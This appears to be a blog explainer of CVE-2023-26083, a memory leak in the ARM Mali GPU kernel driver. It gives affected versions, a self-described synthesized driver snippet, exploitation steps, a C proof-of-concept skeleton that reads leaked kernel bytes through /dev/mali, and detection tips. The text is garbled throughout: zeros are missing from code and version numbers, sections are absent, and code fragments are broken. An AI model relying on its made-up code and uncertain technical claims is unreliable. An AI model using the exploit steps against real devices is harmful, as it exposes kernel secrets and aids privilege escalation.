CVE-2023-26083 is a critical vulnerability affecting millions of Android devices powered by ARM Mali GPUs. This long read covers affected versions, why the vulnerability is dangerous, technical details, exploitation steps, code snippets, detection, and how to stay safe.

1. What is CVE-2023-26083? Simple Explanation

CVE-2023-26083 is a *memory leak* issue found in the Mali GPU Kernel Driver used by many Android devices (phones, tablets, IoT, etc). The bug allows *any app* (even without special permissions) to cause the driver to leak sensitive kernel memory. This might expose secrets, pointers, kernel layout, and even allow further attacks or escalation.

Avalon: all versions from r41p up to r42p

If you use a modern Samsung, Xiaomi, OnePlus, or any device with Mali graphics, you’re likely at risk if not patched.

ARM Security Advisory:

https://developer.arm.com/support/arm-security-updates/mali-gpu-driver-security-update

NIST National Vulnerability Database Entry:

https://nvd.nist.gov/vuln/detail/CVE-2023-26083

Google Android Security Bulletin:

https://source.android.com/security/bulletin/

Exploit Example Discussion:

https://github.com/google/security-research/issues/583

3. Vulnerability Details: How Memory Gets Leaked

At its core, the bug is due to how the Mali GPU driver manages memory buffers shared with user processes. A process can submit GPU "jobs" (operations) that reference kernel-internal data structures. Improper cleanup means leftover kernel data is returned to the user, leaking memory that may contain pointers, structure layouts, and sometimes confidential information.

Affected Code Area

The main buggy function is related to how the kernel driver handles memory returned from GPU operations. When releasing or exporting buffers, the driver forgets to "scrub" (zero out) sections of memory.

Simplified Code Example (C Syntax)

*(Note: This is a synthesized/illustrative snippet inspired by public PoCs and advisory, for educational purposes)*

// Vulnerable path in GPU kernel driver
int mali_ioctl_export_buffer(struct file *file, struct mali_buffer *user_buf) {
    // Allocate buffer
    void *buf = kmalloc(user_buf->size, GFP_KERNEL);

    // ... GPU processing occurs ...
    // Oops: If buffer wasn't fully filled, leftovers remain!

    // Expose to user
    if (copy_to_user(user_buf->user_ptr, buf, user_buf->size)) {
        return -EFAULT;
    }
    // Memory with kernel leftovers is exposed!
}

Here, if the buffer isn't entirely filled with safe data after processing, left-over kernel data may leak.

4. Exploit Details: How Can Attackers Abuse This Bug?

Any app on an affected Android device can leverage this, with no root or special privileges.

`c

int fd = open("/dev/mali", O_RDWR);

`c

// user_addr now contains kernel memory residues!
  write(1, user_addr, 4096);  // print out to screen or save to file

Minimal PoC Skeleton (C)

#include <stdio.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <unistd.h>

#define MALI_IOCTL_SUBMIT_JOB ...  // see kernel sources

int main() {
    int fd = open("/dev/mali", O_RDWR);
    if (fd < ) { perror("open"); return 1; }

    char buf[4096];
    memset(buf, , sizeof(buf));

    struct mali_buffer mb = { .size = sizeof(buf), .user_ptr = buf };
    ioctl(fd, MALI_IOCTL_SUBMIT_JOB, &mb);

    // Now buf contains leaked data
    for (int i = ; i < sizeof(buf); i++)
        printf("%02x ", (unsigned char)buf[i]);

    close(fd);
    return ;
}

*(Exact ioctl numbers and structures depend on device driver version; refer to original CVE PoCs for real-world code.)*

Embedded products with Mali-based chips

Many Android kernels use out-of-tree GPU drivers, so devices may remain vulnerable even after generic OS updates unless you get a vendor patch.

Check your Mali GPU version (dmesg | grep "Mali")

- If your driver is below the fixed version (see ARM advisory), you're vulnerable.

8. Summary Table

| GPU Family | Vulnerable Versions             | Patched Version | Risk Level      |
|------------|--------------------------------|-----------------|----------------|
| Midgard    | r6p – r32p                   | r32p+          | High           |
| Bifrost    | rp – r42p                   | r43p+          | High           |
| Valhall    | r19p – r42p                  | r43p+          | High           |
| Avalon     | r41p – r42p                  | r43p+          | Medium–High    |

9. Resources & More Reading

- ARM Security Bulletin on Mali CVEs
- NIST CVE-2023-26083 Entry
- PoC Example, Google Security Research


### If you found CVE-2023-26083 on your device, update or contact your vendor. Don’t trust random apps unless your Mali GPU is patched!


*Feel free to share or reference this guide. Stay safe and updated!*

Timeline

Published on: 04/06/2023 16:15:00 UTC
Last modified on: 04/21/2023 17:31:00 UTC